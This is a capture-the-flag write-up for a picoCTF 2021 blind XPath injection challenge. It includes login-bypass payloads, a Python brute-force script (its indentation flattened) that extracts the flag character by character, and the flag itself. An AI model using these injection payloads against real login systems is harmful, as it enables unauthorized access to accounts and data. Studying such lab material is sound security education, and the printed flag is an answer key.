Tags: injection web xpath 

Rating:

Visit [Original writeup](https://docs.abbasmj.com/ctf-writeups/picoctf2021#x-marks-the-spot) for better formatting.

---

**Description:** Another login you have to bypass. Maybe you can find an injection that works?

**Points:** 250

#### **Solution**

The link takes you to a login screen that reads "Only I know the password, and I don't use any of those regular old unsafe query languages!" Let's look at the hint.

**Hint 1:** XPATH

So, this is an XPath injection. This is not like any of the injections before. I tried bypassing the login with always true queries but they do not work, However, There is an interesting message that pops up when I enter an always true booleans like `' or 1=1 or 'a`

![](https://raw.githubusercontent.com/iam-abbas/Docs/main/.gitbook/assets/image%20%2814%29.png)

It says "You're on the right path." I tried to change things a little bit and used a false query like `' and 1=2 and 'a'='a`

![](https://raw.githubusercontent.com/iam-abbas/Docs/main/.gitbook/assets/image%20%2817%29.png)

Now it says "Login failure." This means that it's a Blind XPATH injection which means we have to figure out the username and password using queries. Here we can use **"starts-wth\(\)"** operator. Which returns true if the passed characters are at the beginning of a document. We do not know the column names yet so we can use `//*` which basically means check for all documents \(columns\). I tried testing it with `' or //*[starts-with(text(),'a')] or 'a'='b` which interestingly enough returned true. I tried again with `' or //*[starts-with(text(),'ab')] or 'a'='b` which returned false.

We can actually write a script that runs through all the combinations and stacks the successful characters upon success. Here's the Python script that I made

```python
import requests
from string import *

charecters = ascii_lowercase + ascii_uppercase + digits+"}_"
print(charecters)

seen_password = ["picoCTF{"]
while True:

for ch in charecters:
print(f"trying {''.join(seen_password)+ch}")
st = ''.join(seen_password)+ch
data = {"name":"admin", "pass":f"' or //*[starts-with(text(),'{st}')] or '1'='"}
r = requests.post("http://mercury.picoctf.net:59946/", data=data)

content = r.text
if "You're on the right path." in content:
seen_password.append(ch)
break
```

I tried running the above script several times before which returned with values like admin, bob, thisisnottheflag then I figured that we are supposed to look for the flag itself, not some password. so I started with the standard starting format `picoCTF{` after running for a while, I finally got the full flag.

![](https://raw.githubusercontent.com/iam-abbas/Docs/main/.gitbook/assets/image%20%2820%29.png)

**Flag:** picoCTF{h0p3fully\_u\_t0ok\_th3\_r1ght\_xp4th\_a56016ef}

Original writeup (https://docs.abbasmj.com/ctf-writeups/picoctf2021#x-marks-the-spot).